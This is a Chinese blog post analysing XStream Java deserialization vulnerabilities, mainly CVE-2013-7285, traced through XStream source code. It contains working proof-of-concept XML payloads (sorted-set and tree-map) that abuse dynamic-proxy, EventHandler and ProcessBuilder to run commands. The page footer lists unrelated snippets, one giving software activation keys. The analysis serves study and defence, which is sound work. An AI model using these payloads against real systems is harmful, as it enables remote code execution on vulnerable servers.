Java安全之XStream 漏洞分析

Java安全之XStream漏洞分析0x00前言好久没写漏洞分析文章了,最近感觉在审代码的时候,XStream组件出现的频率比较高,借此来学习一波XStream的漏洞分析。0x01XSt

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之XStream 漏洞分析

0x00 前言

好久没写漏洞分析文章了,最近感觉在审代码的时候,XStream 组件出现的频率比较高,借此来学习一波XStream的漏洞分析。

0x01 XStream 历史漏洞

下面罗列一下XStream历史漏洞

XStream 远程代码执行漏洞 CVE-2013-7285 XStream <= 1.4.6
XStream XXE CVE-2016-3674 XStream <= 1.4.8
XStream 远程代码执行漏洞 CVE-2019-10173 XStream < 1.4.10
XStream 远程代码执行漏洞 CVE-2020-26217 XStream <= 1.4.13
XStream 远程代码执行漏洞 CVE-2021-21344 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21345 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21346 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21347 XStream<= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21350 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21351 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-29505 XStream: <= 1.4.16

详细可查看XStream 官方地址

0x02 XStream 使用与解析

介绍

XStream是一套简洁易用的开源类库,用于将Java对象序列化为XML或者将XML反序列化为Java对象,是Java对象和XML之间的一个双向转化器。

使用

序列化

 public static void main(String[] args) {
      
        XStream xStream = new XStream();
        Person person = new Person();
        person.setName("xxx");
        person.setAge(22);
        String s = xStream.toXML(person);
        System.out.println(s);
    }
<com.nice0e3.Person>
  <name>xxx</name>
  <age>22</age>
</com.nice0e3.Person>

反序列化

  XStream xStream = new XStream();
    String xml =
                "<com.nice0e3.Person>\n" +
                "  <name>xxx</name>\n" +
                "  <age>22</age>\n" +
                "</com.nice0e3.Person>";

        Person person1 = (Person)xStream.fromXML(xml);
        System.out.println(person1);

结果

Person{name='xxx', age=22}

EventHandler类

分析前先来看到EventHandler类,EventHandler类是实现了InvocationHandler的一个类,设计本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接。其中会查看调用的方法是否为hashCodeequalstoString,如果不为这三个方法则往下走,而我们的需要利用的部分在下面。EventHandler.invoke()–>EventHandler.invokeInternal()–>MethodUtil.invoke()任意反射调用。

Java安全之XStream 漏洞分析

组成部分

XStream 总体由五部分组成

XStream 作为客户端对外提供XML解析与转换的相关方法。

  1. AbstractDriver 为XStream提供流解析器和编写器的创建。目前支持XML(DOM,PULL)、JSON解析器。解析器HierarchicalStreamReader,编写器HierarchicalStreamWriter(PS:XStream默认使用了XppDriver)。

  2. MarshallingStrategy 编组和解组策略的核心接口,两个方法:
    marshal:编组对象图
    unmarshal:解组对象图
    TreeUnmarshaller 树解组程序,调用mapper和Converter把XML转化成java对象,里面的start方法开始解组,convertAnother方法把class转化成java对象。
    TreeMarshaller 树编组程序,调用mapper和Converter把java对象转化成XML,里面的start方法开始编组,convertAnother方法把java对象转化成XML。
    它的抽象子类AbstractTreeMarshallingStrategy有抽象两个方法
    createUnmarshallingContext
    createMarshallingContext
    用来根据不同的场景创建不同的TreeUnmarshaller子类和TreeMarshaller子类,使用了策略模式,如ReferenceByXPathMarshallingStrategy创建ReferenceByXPathUnmarshallerReferenceByIdMarshallingStrategy创建ReferenceByIdUnmarshaller(PS:XStream默认使用ReferenceByXPathMarshallingStrategy

  3. Mapper 映射器,XML的elementName通过mapper获取对应类、成员、属性的class对象。支持解组和编组,所以方法是成对存在real 和serialized,他的子类MapperWrapper作为装饰者,包装了不同类型映射的映射器,如AnnotationMapperImplicitCollectionMapperClassAliasingMapper

  4. ConverterLookup 通过Mapper获取的Class对象后,接着调用lookupConverterForType获取对应Class的转换器,将其转化成对应实例对象。DefaultConverterLookup是该接口的实现类,同时实现了ConverterRegistry的接口,所有DefaultConverterLookup具备查找converter功能和注册converter功能。所有注册的转换器按一定优先级组成由TreeSet保存的有序集合(PS:XStream 默认使用了DefaultConverterLookup)。

Mapper解析

根据elementName查找对应的Class,首先调用realClass方法,然后realClass方法会在所有包装层中一层层往下找,并还原elementName的信息,比如在ClassAliasingMapper根据component别名得出Component类,最后在DefaultMapper中调用realClass创建出Class。
CachingMapper–>SecurityMapper–>ArrayMapper–>ClassAliasingMapper–>PackageAliasingMapper–>DynamicProxyMapper—>DefaultMapper

XStream 源码解析

0x03 漏洞分析

CVE-2013-7285

影响范围

1.4.x<=1.4.6或1.4.10

漏洞简介

XStream序列化和反序列化的核心是通过Converter转换器来将XML和对象之间进行相互的转换。

XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

漏洞分析

   public static void main(String[] args) {

        XStream xStream = new XStream();

        String xml =
                "<sorted-set>\n" +
                        "    <string>foo</string>\n" +
                        "    <dynamic-proxy>\n" +
                        "        <interface>java.lang.Comparable</interface>\n" +
                        "        <handler class=\"java.beans.EventHandler\">\n" +
                        "            <target class=\"java.lang.ProcessBuilder\">\n" +
                        "                <command>\n" +
                        "                    <string>cmd</string>\n" +
                        "                    <string>/C</string>\n" +
                        "                    <string>calc</string>\n" +
                        "                </command>\n" +
                        "            </target>\n" +
                        "            <action>start</action>\n" +
                        "        </handler>\n" +
                        "    </dynamic-proxy>\n" +
                        "</sorted-set>";
        
       xStream.fromXML(xml);

    }

一路跟踪下来代码走到com.thoughtworks.xstream.core.TreeUnmarshaller#start

public Object start(final DataHolder dataHolder) {
        this.dataHolder = dataHolder;
        //通过mapper获取对应节点的Class对象
        final Class<?> type = HierarchicalStreams.readClassType(reader, mapper);
        //Converter根据Class的类型转化成java对象
        final Object result = convertAnother(null, type);
        for (final Runnable runnable : validationList) {
            runnable.run();
        }
        return result;
    }

调用HierarchicalStreams.readClassType方法,从序列化的数据中获取一个真实的class对象。

public static Class<?> readClassType(final HierarchicalStreamReader reader, final Mapper mapper) {
        if (classAttribute == null) {
        // 通过节点名获取Mapper中对应的Class
        Class<?> type = mapper.realClass(reader.getNodeName());
        return type;
    }

方法内部调用readClassAttribute。来看到方法

public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) {
    String attributeName = mapper.aliasForSystemAttribute("resolves-to");
    String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName);
    if (classAttribute == null) {
        attributeName = mapper.aliasForSystemAttribute("class");
        if (attributeName != null) {
            classAttribute = reader.getAttribute(attributeName);
        }
    }

    return classAttribute;
}

其中调用获取调用aliasForSystemAttribute方法获取别名。

获取resolves-toclass判断解析的xml属性值中有没有这两字段。

这里返回为空,继续来看到com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType

为空的话,则走到这里

type = mapper.realClass(reader.getNodeName());

获取当前节点的名称,并进行返回对应的class对象。

Java安全之XStream 漏洞分析

跟踪mapper.realClass方法。com.thoughtworks.xstream.mapper.CachingMapper#realClass

 public Class realClass(String elementName) {
        Object cached = this.realClassCache.get(elementName);
        if (cached != null) {
            if (cached instanceof Class) {
                return (Class)cached;
            } else {
                throw (CannotResolveClassException)cached;
            }
        } else {
            try {
                Class result = super.realClass(elementName);
                this.realClassCache.put(elementName, result);
                return result;
            } catch (CannotResolveClassException var4) {
                this.realClassCache.put(elementName, var4);
                throw var4;
            }
        }
    }

找到别名应的类,存储到realClassCache中,并且进行返回。

执行完成回到com.thoughtworks.xstream.core.TreeUnmarshaller#start

跟进代码

Object result = this.convertAnother((Object)null, type);

来到这里

public Object convertAnother(final Object parent, Class<?> type, Converter converter) {
        //根据mapper获取type实现类
        type = mapper.defaultImplementationOf(type);
        if (converter == null) {
            //根据type找到对应的converter
            converter = converterLookup.lookupConverterForType(type);
        } else {
            if (!converter.canConvert(type)) {
                final ConversionException e = new ConversionException("Explicitly selected converter cannot handle type");
                e.add("item-type", type.getName());
                e.add("converter-type", converter.getClass().getName());
                throw e;
            }
        }
         // 进行把type转化成对应的object
        return convert(parent, type, converter);
    }

this.mapper.defaultImplementationOf方法会在mapper对象中去寻找接口的实现类
Java安全之XStream 漏洞分析

Java安全之XStream 漏洞分析

下面调用 this.converterLookup.lookupConverterForType(type);方法寻找对应类型的转换器。

 public Converter lookupConverterForType(final Class<?> type) {
        //先查询缓存的类型对应的转换器集合
        final Converter cachedConverter = type != null ? typeToConverterMap.get(type.getName()) : null;
        if (cachedConverter != null) {
            //返回找到的缓存转换器
            return cachedConverter;
        }
        
        final Map<String, String> errors = new LinkedHashMap<>();
        //遍历转换器集合
        for (final Converter converter : converters) {
            try {
                //判断是不是符合的转换器
                if (converter.canConvert(type)) {
                    if (type != null) {
                        //缓存类型对应的转换器
                        typeToConverterMap.put(type.getName(), converter);
                    }
                    //返回找到的转换器
                    return converter;
                }
            } catch (final RuntimeException | LinkageError e) {
                errors.put(converter.getClass().getName(), e.getMessage());
            }
        }
}

canConvert 变量所有转换器,通过调用Converter.canConvert()方法来匹配转换器是否能够转换出TreeSet类型,这里找到满足条件的TreeSetConverter转换器

下面则是调用this.typeToConverterMap.put(type, converter);将该类和转换器存储到map中。

然后将转换器进行返回。

回到com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother中,执行来到这里。

Java安全之XStream 漏洞分析

  protected Object convert(Object parent, Class type, Converter converter) {
        Object result;
        if (this.parentStack.size() > 0) {
            result = this.parentStack.peek();
            if (result != null && !this.values.containsKey(result)) {
                this.values.put(result, parent);
            }
        }

        String attributeName = this.getMapper().aliasForSystemAttribute("reference");
        String reference = attributeName == null ? null : this.reader.getAttribute(attributeName);
        Object cache;
        if (reference != null) {
            cache = this.values.get(this.getReferenceKey(reference));
            if (cache == null) {
                ConversionException ex = new ConversionException("Invalid reference");
                ex.add("reference", reference);
                throw ex;
            }

            result = cache == NULL ? null : cache;
        } else {
            cache = this.getCurrentReferenceKey();
            this.parentStack.push(cache);
            result = super.convert(parent, type, converter);
            if (cache != null) {
                this.values.put(cache, result == null ? NULL : result);
            }

            this.parentStack.popSilently();
        }

        return result;
    }

获取reference别名后,从xml中获取reference标签内容。获取为空则调用

this.getCurrentReferenceKey()来获取当前标签将当前标签。

调用this.types.push将获取的值压入栈中,跟进查看一下。

public Object push(Object value) {
        if (this.pointer + 1 >= this.stack.length) {
            this.resizeStack(this.stack.length * 2);
        }

        this.stack[this.pointer++] = value;
        return value;
    }

实际上做的操作也只是将值存储在了this.stack变量里面。

来到以下代码

Object result = converter.unmarshal(this.reader, this);

调用传递进来的类型转换器,也就是前面通过匹配获取到的类型转换器。调用unmarshal方法,进行xml解析。也就是com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
    TreeSet result = null;
    Comparator unmarshalledComparator = this.treeMapConverter.unmarshalComparator(reader, context, (TreeMap)null);
    boolean inFirstElement = unmarshalledComparator instanceof Null;
    Comparator comparator = inFirstElement ? null : unmarshalledComparator;
    TreeMap treeMap;
    if (sortedMapField != null) {
        TreeSet possibleResult = comparator == null ? new TreeSet() : new TreeSet(comparator);
        Object backingMap = null;

        try {
            backingMap = sortedMapField.get(possibleResult);
        } catch (IllegalAccessException var11) {
            throw new ConversionException("Cannot get backing map of TreeSet", var11);
        }

        if (backingMap instanceof TreeMap) {
            treeMap = (TreeMap)backingMap;
            result = possibleResult;
        } else {
            treeMap = null;
        }
    } else {
        treeMap = null;
    }

    if (treeMap == null) {
        PresortedSet set = new PresortedSet(comparator);
        result = comparator == null ? new TreeSet() : new TreeSet(comparator);
        if (inFirstElement) {
            this.addCurrentElementToCollection(reader, context, result, set);
            reader.moveUp();
        }

        this.populateCollection(reader, context, result, set);
        if (set.size() > 0) {
            result.addAll(set);
        }
    } else {
        this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
    }

    return result;
}

调用unmarshalComparator方法判断是否存在comparator,如果不存在,则返回NullComparator对象。

protected Comparator unmarshalComparator(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result) {
    Comparator comparator;
    if (reader.hasMoreChildren()) {
        reader.moveDown();
        if (reader.getNodeName().equals("comparator")) {
            Class comparatorClass = HierarchicalStreams.readClassType(reader, this.mapper());
            comparator = (Comparator)context.convertAnother(result, comparatorClass);
        } else {
            if (!reader.getNodeName().equals("no-comparator")) {
                return NULL_MARKER;
            }

            comparator = null;
        }

        reader.moveUp();
    } else {
        comparator = null;
    }

    return comparator;
}

回到com.thoughtworks.xstream.converters.collections.TreeSetConverter#unmarshal

获取为空,则 inFirstElement为false,下面的代码comparator变量中三目运算返回null。而possibleResult也是创建的是一个空的TreeSet对象。而后则是一些赋值,就没必要一一去看了。来看到重点部分。

this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);

跟进一下。

protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result, Comparator comparator) {
        boolean inFirstElement = comparator == NULL_MARKER;
        if (inFirstElement) {
            comparator = null;
        }

        SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null);
        if (inFirstElement) {
            this.putCurrentEntryIntoMap(reader, context, result, sortedMap);
            reader.moveUp();
        }

        this.populateMap(reader, context, result, sortedMap);

        try {
            if (JVM.hasOptimizedTreeMapPutAll()) {
                if (comparator != null && comparatorField != null) {
                    comparatorField.set(result, comparator);
                }

                result.putAll(sortedMap);
            } else if (comparatorField != null) {
                comparatorField.set(result, sortedMap.comparator());
                result.putAll(sortedMap);
                comparatorField.set(result, comparator);
            } else {
                result.putAll(sortedMap);
            }

        } catch (IllegalAccessException var8) {
            throw new ConversionException("Cannot set comparator of TreeMap", var8);
        }
    }

下面调用了this.putCurrentEntryIntoMap跟进查看一下。

Java安全之XStream 漏洞分析

读取标签内的内容并缓存到target这个Map中。

reader.moveUp()往后解析xml

然后调用this.populateMap(reader, context, result, sortedMap);

跟进方法查看

  protected void populateMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, final Map target) {
                TreeSetConverter.this.populateCollection(reader, context, new AbstractList() {
                    public boolean add(Object object) {
                        return target.put(object, object) != null;
                    }

                    public Object get(int location) {
                        return null;
                    }

                    public int size() {
                        return target.size();
                    }
                });
            }

其中调用populateCollection用来循环遍历子标签中的元素并添加到集合中。

调用addCurrentElementToCollection–>readItem

protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
        Class type = HierarchicalStreams.readClassType(reader, this.mapper());
        return context.convertAnother(current, type);
    }

读取标签内容,并且获取转换成对应的类,最后将类添加到targer中。

Java安全之XStream 漏洞分析

跟踪一下看看。大概流程和前面的一样。

Java安全之XStream 漏洞分析

Java安全之XStream 漏洞分析

Java安全之XStream 漏洞分析

Java安全之XStream 漏洞分析

一路跟踪来到

com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal

前面获得的DynamicProxyConverter

Java安全之XStream 漏洞分析

这就获取到了一个动态代理的类。EventHandler

Java安全之XStream 漏洞分析

com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap中调用result.putAll,也就是代理了EventHandler类的putALL。动态代理特性则会触发,EventHandler.invoke

Java安全之XStream 漏洞分析

invoke的主要实现逻辑在invokeInternal

Java安全之XStream 漏洞分析

Java安全之XStream 漏洞分析

Java安全之XStream 漏洞分析

怎么说呢,整体一套流程其实就是一个解析的过程。从com.thoughtworks.xstream.core.TreeUnmarshaller#start方法开始解析xml,调用HierarchicalStreams.readClassType通过标签名获取Mapper中对于的class对象。获取class完成后调用com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother,该方法会根据class转换为对于的Java对象。convertAnother的实现是mapper.defaultImplementationOf方法查找class实现类。根据实现类获取对应转换器,获取转换器部分的实现逻辑是ConverterLookup中的lookupConverterForType方法,先从缓存集合中查找Converter,遍历converters找到符合的Converter。随后,调用convert返回object对象。convert方法实现逻辑是调用获取到的converter转换器的unmarshal方法来根据获取的对象,继续读取子节点,并转化成对象对应的变量。直到读取到最后一个节点退出循环。最终获取到java对象中的变量值也都设置,整个XML解析过程就结束了。

POC2

<tree-map>
    <entry>
        <string>fookey</string>
        <string>foovalue</string>
    </entry>
    <entry>
        <dynamic-proxy>
            <interface>java.lang.Comparable</interface>
            <handler class="java.beans.EventHandler">
                <target class="java.lang.ProcessBuilder">
                    <command>
                        <string>calc.exe</string>
                    </command>
                </target>
                <action>start</action>
            </handler>
        </dynamic-proxy>
        <string>good</string>
    </entry>
</tree-map>

我们第一个payload使用的是sortedset接口在com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother方法中this.mapper.defaultImplementationOf(type);

寻找到的实现类为java.util.TreeSet。根据实现类寻找到的转换器即TreeSetConverter

这里使用的是tree-map,获取的实现类是他本身,转换器则是TreeMapConverter。同样是通过动态代理的map对象,调用putAll方法触发到EventHandler.invoke里面实现任意反射调用。

1.3.1版本无法利用原因

com.thoughtworks.xstream.core.util.HierarchicalStreams#readClassType

Java安全之XStream 漏洞分析

该行代码爆出Method threw 'com.thoughtworks.xstream.mapper.CannotResolveClassException' exception.无法解析异常。

发现是从遍历去调用map,调用realClass查找这里并没有从map中找到对应的class。所以这里报错了。

1.4.7-1.4.9版本无法利用原因

com.thoughtworks.xstream.core.TreeUnmarshaller#start

Class type = HierarchicalStreams.readClassType(this.reader, this.mapper);
Object result = this.convertAnother((Object)null, type);

获取class部分成功了,报错位置在调用this.convertAnother转换成Object对象步骤上。

跟进查看一下。

EventHandler的处理由ReflectionConverter来处理的,在1.4.7-1.4.9版本。添加了canConvert方法的判断。

1.4.10版本payload可利用原因

com.thoughtworks.xstream.converters.reflection.ReflectionConverter#canConvert中没了对EventHandler类的判断。

Java安全之XStream 漏洞分析

1.4.10版本以后添加了XStream.setupDefaultSecurity(xStream)方法的支持。

com.thoughtworks.xstream.XStream$InternalBlackList#canConvert

  public boolean canConvert(Class type) {
            return type == Void.TYPE || type == Void.class || XStream.this.insecureWarning && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
        }

添加黑名单判断。

0x04 结尾

篇章略长,分开几部分来写。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/119863.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • Advanced SystemCare激活

    Advanced SystemCare激活AdvancedSystemCare6.x(x>=1)激活方案 1,请先在电脑上安装6.0版本。输入以下激活码激活:注册码:4A639-FD966-C5435-512C4[使用6.0版本用以上注册码可以激活]更多注册码CC52B-28CB1-DAF12-A96D6 65792-57FC4-5CEC1-677C4 4A639-FD966-C5435-512C

    2022年10月20日
  • java工程师简历项目经验怎么写_高级java开发工程师简历

    java工程师简历项目经验怎么写_高级java开发工程师简历开头在找工作的过程中,对于Redis技术知识的掌握已经成为必须的技能。美团面试常常就会被问到Redis相关知识,而这次我就差点倒在了美团3面,面试官连问我以下几个Redis的问题,然后就卡壳了…redis了解吗?你说说怎么用redis实现分布式锁?Redis常用数据结构及底层数据结构实现如何解决Redis的并发竞争Key问题如何保证缓存与数据库双写时的数据一致性?剩下的不太记得了…为此面试完回来针Redis专门做了一个面试问题大总结架构筑基大家都知道,性能一直

  • 慎用域名url转发功能_url转发域名可以带端口吗

    慎用域名url转发功能_url转发域名可以带端口吗许多域名注册商或虚拟主机商都提供一种免费的URL转发功能,让拥有一个主网站并同时拥有多个域名的用户实现多个域名指向同一个网站或网站子目录,但具体是通过什么机制实现的则大都讳忌莫深,往往只说“通过服务器的特殊技术设置”。同时,大多数服务商提供的URL转发还包括两种,不隐藏路径的URL转发与隐藏路径的URL转发,其中,不隐藏路径的URL转发指在跳转后浏览器地址栏显示真正的目标地址,而隐藏路径的URL转…

    2022年10月18日
  • pytorch下载CIFAR10数据集[通俗易懂]

    pytorch下载CIFAR10数据集[通俗易懂]importtorchfromtorchvisionimportdatasetsfromtorchvisionimporttransformsfromtorch.utils.dataimportDataLoaderdefmain():batchsz=32cifar_train=datasets.CIFAR10(‘cifar’,True,transform=transforms.Compose([transforms.Re

  • 使用BCGControlBar界面库美化MFC界面的详细过程

    使用BCGControlBar界面库美化MFC界面的详细过程系统环境:Windows7软件环境:VisualStudio2013本次目的:实现MFC对话框换肤下载安装BCGControlBar25激活成功教程版安装完成自动弹出编译库文件的对话框,选择需要的进行编译,需要一段时间,等候,完成打开vs2013首先使用BCGPAppWizard建立工程:Applicationtype:Dialog

  • 多线程编程 -wait(),notify()/notityAll()方法

    多线程编程 -wait(),notify()/notityAll()方法

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号